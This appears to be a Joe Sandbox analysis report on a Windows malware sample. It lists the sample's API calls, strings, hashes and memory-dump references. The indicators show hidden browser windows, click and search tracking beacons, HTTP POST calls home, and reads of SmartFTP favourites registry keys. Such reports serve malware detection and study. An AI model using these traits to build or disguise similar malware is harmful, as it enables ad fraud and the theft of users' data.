Opcode Fuzzy Hash: b8f2284a7884e1d84c5472764473ad81ef61371c27a8aebe337e069d7a055d2a
Instruction Fuzzy Hash: 0A4142B2650118AAEB10D6519E81BEB73FCEB44309F1144BBE705F2080FB789F598F69

Function 0040A156 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(eventConn), ref: 0040A18D
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0040A1D4
SetParent.USER32(?,00000000), ref: 0040A1E2
GetWindowLongW.USER32(?,000000EC), ref: 0040A1ED
SetWindowLongW.USER32(?,000000EC,00000000), ref: 0040A1FE
SetWindowPos.USER32(?,00000001,00001388,00001388,00000010,?,00000000), ref: 0040A21E

Part of subcall function 0040A0B5: CoInitialize.OLE32(00000000), ref: 0040A0C0
Part of subcall function 0040A0B5: GetModuleHandleW.KERNEL32(00000000,00000000), ref: 0040A0CE
Part of subcall function 0040A0B5: CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

Shell_TrayWnd, xrefs: 0040A1CF
eventConn, xrefs: 0040A188

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: Window$Long$AllocCreateFindHandleInitializeModuleParentString
String ID: Shell_TrayWnd$eventConn
API String ID: 2141107913-3455059086
Opcode ID: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction ID: 39c15930e577ecb7297998fc23ff8408fdcdb7101606cb16b0d9d8475b405f16
Opcode Fuzzy Hash: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction Fuzzy Hash: 05216834900214EFDB10AFA4CD89FAB7BB9EF0A311F2046B5F901EA2A1C7755D54CB96

Function 00407362 Relevance: 13.6, APIs: 9, Instructions: 114timesynchronizationCOMMON

Download Yara Rule

APIs

CreateWaitableTimerW.KERNEL32(00000000,00000001,00000000), ref: 00407374
GetLocalTime.KERNEL32(?), ref: 00407387
GetLocalTime.KERNEL32(?), ref: 0040738D
GetTimeZoneInformation.KERNEL32(?), ref: 004073C2
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407412
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040741C
SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,00989680,00000000), ref: 0040747A
WaitForSingleObject.KERNEL32(?,000000FF,?,?,00989680,00000000), ref: 00407485
CloseHandle.KERNEL32(?,?,?,00989680,00000000), ref: 0040748E

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: Time$FileLocalSystemTimerWaitable$CloseCreateHandleInformationObjectSingleWaitZone
String ID:
API String ID: 3166187867-0
Opcode ID: 2667820b8e72ac86daf0972410128220eb63d60d64ca4213cefa209fb62143e0
Instruction ID: 26b14636c49f8a61fb06fac8b942a3fa68f3078aba47330515a101c34858e503
Opcode Fuzzy Hash: 2667820b8e72ac86daf0972410128220eb63d60d64ca4213cefa209fb62143e0
Instruction Fuzzy Hash: 8B316FB2D1022DAACF04EBE5DD459EEB7BDEF44304F10406AF901B3290E7746A04DB69

Function 00409909 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 004099EB
SysAllocString.OLEAUT32(?), ref: 004099F9

Strings

<url>, xrefs: 0040991C
http://, xrefs: 00409941
</domain>, xrefs: 004099B8
</url>, xrefs: 00409917
<domain>, xrefs: 004099BD

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: AllocString
String ID: </domain>$</url>$<domain>$<url>$http://
API String ID: 2525500382-924421446
Opcode ID: c25fc9fce4e3a5af282b7e8b70485abd1f5e468527c2347077a4c4f87a84cc63
Instruction ID: c36137c4092f7a01c2c9ac5e3109157182881aca1e17db191de13133e2ad13bf
Opcode Fuzzy Hash: c25fc9fce4e3a5af282b7e8b70485abd1f5e468527c2347077a4c4f87a84cc63
Instruction Fuzzy Hash: D521D876600218A6DB61AB59CC41BDB33E4FB44794F14407FE508B32C2EB785E4D4F99

Function 0040AC93 Relevance: 12.1, APIs: 3, Strings: 5, Instructions: 105sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710,00000000,00000400,00000000), ref: 0040ACAE
Sleep.KERNEL32(0000EA60), ref: 0040AD76
Sleep.KERNEL32(00002710), ref: 0040ADA4

Strings

job^rev=%s^os=%s, xrefs: 0040ACDB
0, xrefs: 0040AD12
d, xrefs: 0040ADB6
hOA, xrefs: 0040ACC0
^rcn=1, xrefs: 0040AD37

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: Sleep$AttemptConnectInternet
String ID: 0$^rcn=1$d$hOA$job^rev=%s^os=%s
API String ID: 362191241-2593661552
Opcode ID: e876ecf8844ea65909d5912cf1b13aa36029654f48e96db610e819274c2e0ff8
Instruction ID: b79182b1151443badf469ae5f9ae195c128285790c89deda34db11c37ea10ffc
Opcode Fuzzy Hash: e876ecf8844ea65909d5912cf1b13aa36029654f48e96db610e819274c2e0ff8
Instruction Fuzzy Hash: 0531C471D00208ABCF20ABA6DC859AE77BAEF80309F10847BE505B72C1DA7849558B5B

Function 0040D790 Relevance: 10.8, APIs: 7, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 0040D892
__FindPESection.LIBCMT ref: 0040D8AC

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: 534d7b056b49e296d3a3fc6e9a3ba6c277fd5c62c59754af54bacd0a8e696194
Instruction ID: 4070355c3de93ac57746f54d9fb9ba92a54bad1974282013f33c457a7dad05b0
Opcode Fuzzy Hash: 534d7b056b49e296d3a3fc6e9a3ba6c277fd5c62c59754af54bacd0a8e696194
Instruction Fuzzy Hash: 96A1C172F042158BCB24CF98D981B6E77B1EB84314F56813AD815A73D0DB39AC49CB9D

Function 0040A786 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 121sleepmemoryCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710,00000000,00000000,00000000), ref: 0040A7A3
Sleep.KERNEL32(0000EA60,?,00000000,00000000,00000000), ref: 0040A899
Sleep.KERNEL32(00002710,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8CC
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8E5
HeapFree.KERNEL32(00000000,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8EC

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Strings

confirm^rev=%s^code=%s^param=%s^os=%s, xrefs: 0040A7BA
0, xrefs: 0040A848

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: Sleep$Heap$AttemptConnectFreeInternetProcess
String ID: 0$confirm^rev=%s^code=%s^param=%s^os=%s
API String ID: 3100629401-2436734164
Opcode ID: 9652d423a98df953dd9117dceebf08b302c82fbb0c377fe7acd8f7bbba186267
Instruction ID: 7defdabbc875a2827947a9af70fbac2689cb4d570e6f2fffa55db425585f7fd8
Opcode Fuzzy Hash: 9652d423a98df953dd9117dceebf08b302c82fbb0c377fe7acd8f7bbba186267
Instruction Fuzzy Hash: C0418372D00618AACB11EBE1DC859DF73BCEF44304F10847BF505B6181EA789A558F9E

Function 004094B6 Relevance: 10.6, APIs: 7, Instructions: 81COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094E6

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 99a964074df9a43e7876bfa78059f63c2205d652b6a4e0ea0b2e4f8e9ecac31d
Instruction ID: b8745a711dcf8da59f3798694fa3079dcf63c40c9cdbadd59c4d39193402e254
Opcode Fuzzy Hash: 99a964074df9a43e7876bfa78059f63c2205d652b6a4e0ea0b2e4f8e9ecac31d
Instruction Fuzzy Hash: C9214832A00108BBDB01DFAADC44B9E7BB8EF48345F1484B6E805F71A1D774AE41DB84

Function 0040782A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60filetimeCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000000,UniqueNum), ref: 0040784D
CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00407864
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 00407879
CloseHandle.KERNEL32(00000000), ref: 00407880
GetTickCount.KERNEL32 ref: 00407888

Strings

UniqueNum, xrefs: 00407836

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: File$CloseCountCreateHandleModuleNameTickTime
String ID: UniqueNum
API String ID: 1853814767-3816303966
Opcode ID: e7107705f7d645ec0444386ddfffd8695f1bbe122d048c6309b931cdd7db22a5
Instruction ID: 2f8cc66c71eb5b32faf52737d8a911681d4da4e376004c23895cdbe2f04b10ac
Opcode Fuzzy Hash: e7107705f7d645ec0444386ddfffd8695f1bbe122d048c6309b931cdd7db22a5
Instruction Fuzzy Hash: AE110633419220ABD210AB65EC4CA9B7FACEF45760F004A3AF964E21D0D6349211C7AB

Function 00407E2B Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 54fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,UniqueNum), ref: 00407E5C
ReadFile.KERNEL32(?,00000064,00000001,00000000), ref: 00407E74

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
Part of subcall function 00407CD7: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

hOAd, xrefs: 00407E91
x, xrefs: 00407E86
d, xrefs: 00407E7E
UniqueNum, xrefs: 00407E38

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: File$CreateModuleNamePointerRead
String ID: UniqueNum$d$hOAd$x
API String ID: 1528952607-1018652783
Opcode ID: 015ecc0cc43ae81723c1e035d0cdbf130f909c8143b489dc0bfa89a80df37f55
Instruction ID: 0df55d11f519ebf6f0451cc58b4543fb7278309a9039aac926228ebb90f40a66
Opcode Fuzzy Hash: 015ecc0cc43ae81723c1e035d0cdbf130f909c8143b489dc0bfa89a80df37f55
Instruction Fuzzy Hash: 5311A531D09308AADF109B61DD05BDB3B6AAB00324F218676E612F61E0E7749D44CBAE

Function 00409A99 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409B00
SysAllocString.OLEAUT32(?), ref: 00409B0E

Strings

<title>, xrefs: 00409AAC
<url>, xrefs: 00409AD1
</title>, xrefs: 00409AA7
</url>, xrefs: 00409ACC

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: AllocString
String ID: </title>$</url>$<title>$<url>
API String ID: 2525500382-2286408829
Opcode ID: c58bfd32acaee4a5c903d43745ebae325062404d958fadf76014dbdfc3d1efc4
Instruction ID: e94fff7a9c4556839c155ffec7726d55edf757161a42396596b5093e86978141
Opcode Fuzzy Hash: c58bfd32acaee4a5c903d43745ebae325062404d958fadf76014dbdfc3d1efc4
Instruction Fuzzy Hash: 4F01DB7564021CA7DB116A55CC41FD637A8BB44799F044077FA04F32C3E978AA0C4BA4

Function 0040A8F9 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 161sleepmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710), ref: 0040A91C
Sleep.KERNEL32(00002710), ref: 0040AAC1
GetProcessHeap.KERNEL32(00000000,?), ref: 0040AAE9
HeapFree.KERNEL32(00000000), ref: 0040AAF0

Strings

0, xrefs: 0040AA5B
jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s, xrefs: 0040A957

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: HeapSleep$AttemptConnectFreeInternetProcess
String ID: 0$jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s
API String ID: 3713053250-1268808612
Opcode ID: 19d3b15b7a8b0c9143418604a1355860698edc262cce0da605c920d0b801a1a9
Instruction ID: cb73c9a78e41fc00613c6eff30345c36a412e41c8c720ed22b53be089701fd16
Opcode Fuzzy Hash: 19d3b15b7a8b0c9143418604a1355860698edc262cce0da605c920d0b801a1a9
Instruction Fuzzy Hash: 88515072A00218A6CF10EB95DC959DF737DEF44308F40447BF406B7281EB789A958FAA

Function 00409000 Relevance: 9.1, APIs: 6, Instructions: 95COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 00409046

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 25e5ebd670c89fa3510599811e2d902ae63a41c81a89dab2abf1aa792f01bddc
Instruction ID: 72e70a91572158687df8678bea7e51b1bbf589372677d733e04197d71cfd8d58
Opcode Fuzzy Hash: 25e5ebd670c89fa3510599811e2d902ae63a41c81a89dab2abf1aa792f01bddc
Instruction Fuzzy Hash: 0B41AE70600216EFDB10DF94C9885AD7BB2FB48309F2048BED581B7251C77A6E92DF08

Function 00409DF4 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,00000050,00000000,00000000,00000003,00000000,00000000,?), ref: 00409EA3
HttpOpenRequestW.WININET(00000000,POST,04400100,00000000,00000000,00000000,04400100,00000000), ref: 00409EC3
HttpSendRequestW.WININET(00000000,00000000,00000000,?,?), ref: 00409EDA
InternetReadFile.WININET(00000000,?,00001000,?), ref: 00409F00

Strings

POST, xrefs: 00409EBD

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: HttpInternetRequest$ConnectFileOpenReadSend
String ID: POST
API String ID: 961146071-1814004025
Opcode ID: b231c6d6edeafd2a36d4afe3665cd665c01720833af24f413fd8087ba7bf51f5
Instruction ID: 440a75f1c6cd1a7483e62584c22426b42aa3ce760e55699d8a89a0e8c7b72afb
Opcode Fuzzy Hash: b231c6d6edeafd2a36d4afe3665cd665c01720833af24f413fd8087ba7bf51f5
Instruction Fuzzy Hash: B8318E71900119BFDB10DBA4DC84EFE7679EB54349F14087AFA41B62C2D6385E448BA8

Function 00405136 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 004051EB

Strings

SOFTWARE\smartftp\client 2.0\settings\backup, xrefs: 00405168
personal favorites, xrefs: 00405176
folder, xrefs: 00405184
SOFTWARE\smartftp\client 2.0\settings\general\favorites, xrefs: 00405157

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: SOFTWARE\smartftp\client 2.0\settings\backup$SOFTWARE\smartftp\client 2.0\settings\general\favorites$folder$personal favorites
API String ID: 237503144-821743658
Opcode ID: d403c6e0ff69697be521eaf543c14185a1ab81bd096a87ce139bc0f4ede75b67
Instruction ID: 0454e2dbaba930a1c05830d090df37f1eb9a44f33d61805f8e12f109ce5a2445
Opcode Fuzzy Hash: d403c6e0ff69697be521eaf543c14185a1ab81bd096a87ce139bc0f4ede75b67
Instruction Fuzzy Hash: 21213E71D00518ABDB10EB95DC41ADFB7BCEB44318F1084B7E514B2181EB389B49CFA9

Function 0040A0B5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040A0C0
GetModuleHandleW.KERNEL32(00000000,00000000), ref: 0040A0CE
CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

Shell.Explorer, xrefs: 0040A0E8
AtlAxWin, xrefs: 0040A0ED

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: CreateHandleInitializeModuleWindow
String ID: AtlAxWin$Shell.Explorer
API String ID: 950422046-1300462704
Opcode ID: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction ID: 8885d0d040d3ab3e1edd42f45155a7fe84e7bff231f75e8e802cb7627400a982
Opcode Fuzzy Hash: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction Fuzzy Hash: 78118F30200200FFD320ABA6CC4CE6B7BBCEFCA711B240579F515EB291D7789801CA65

Function 0040AB7C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040AB93
CharLowerW.USER32(?), ref: 0040ABA0
GetCommandLineW.KERNEL32 ref: 0040ABC0

Strings

/updatefile3, xrefs: 0040ABC6
netprotdrvss.exe, xrefs: 0040ABA6

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: CharCommandFileLineLowerModuleName
String ID: /updatefile3$netprotdrvss.exe
API String ID: 3118597399-3449771660
Opcode ID: a9092c2346d55b23f20d8634028d89874de2ded0d1b8197c9b1551ea588aa001
Instruction ID: 1eba2a713c21f7c79877a49aa3ec6850c44e44909145826ab611dd80b60fa5a6
Opcode Fuzzy Hash: a9092c2346d55b23f20d8634028d89874de2ded0d1b8197c9b1551ea588aa001
Instruction Fuzzy Hash: 41E09B3655021A5AD750FBB1DD07BA633ACFB01705F1049B6A246F10C0EE74D55D4F9D

Function 0040A245 Relevance: 7.6, APIs: 5, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040A26B
SysAllocString.OLEAUT32(?), ref: 0040A28E
SysAllocString.OLEAUT32(?), ref: 0040A296
SysFreeString.OLEAUT32(00000000), ref: 0040A2CA
SysFreeString.OLEAUT32(?), ref: 0040A2CF

Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FCE
Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FDE
Part of subcall function 00409FB1: Sleep.KERNEL32(00000064), ref: 00409FEC
Part of subcall function 00409FB1: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409FFB
Part of subcall function 00409FB1: DispatchMessageW.USER32(?), ref: 0040A009

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: String$AllocCountFreeMessageTick$DispatchPeekSleep_memset
String ID:
API String ID: 3143865713-0
Opcode ID: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
Instruction ID: bfa1c3e5fdaec5be4dfb18607c12502589e7fd5433bac8caf4aacda455aa0499
Opcode Fuzzy Hash: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
Instruction Fuzzy Hash: 3A118F72D10219ABCB00DFA9DD448DEBBB9FF08354B11456AF415B7290E770AE14CFA4

Function 00409FB1 Relevance: 7.6, APIs: 5, Instructions: 53windowsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00409FCE
GetTickCount.KERNEL32 ref: 00409FDE
Sleep.KERNEL32(00000064), ref: 00409FEC
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409FFB
DispatchMessageW.USER32(?), ref: 0040A009

Memory Dump Source

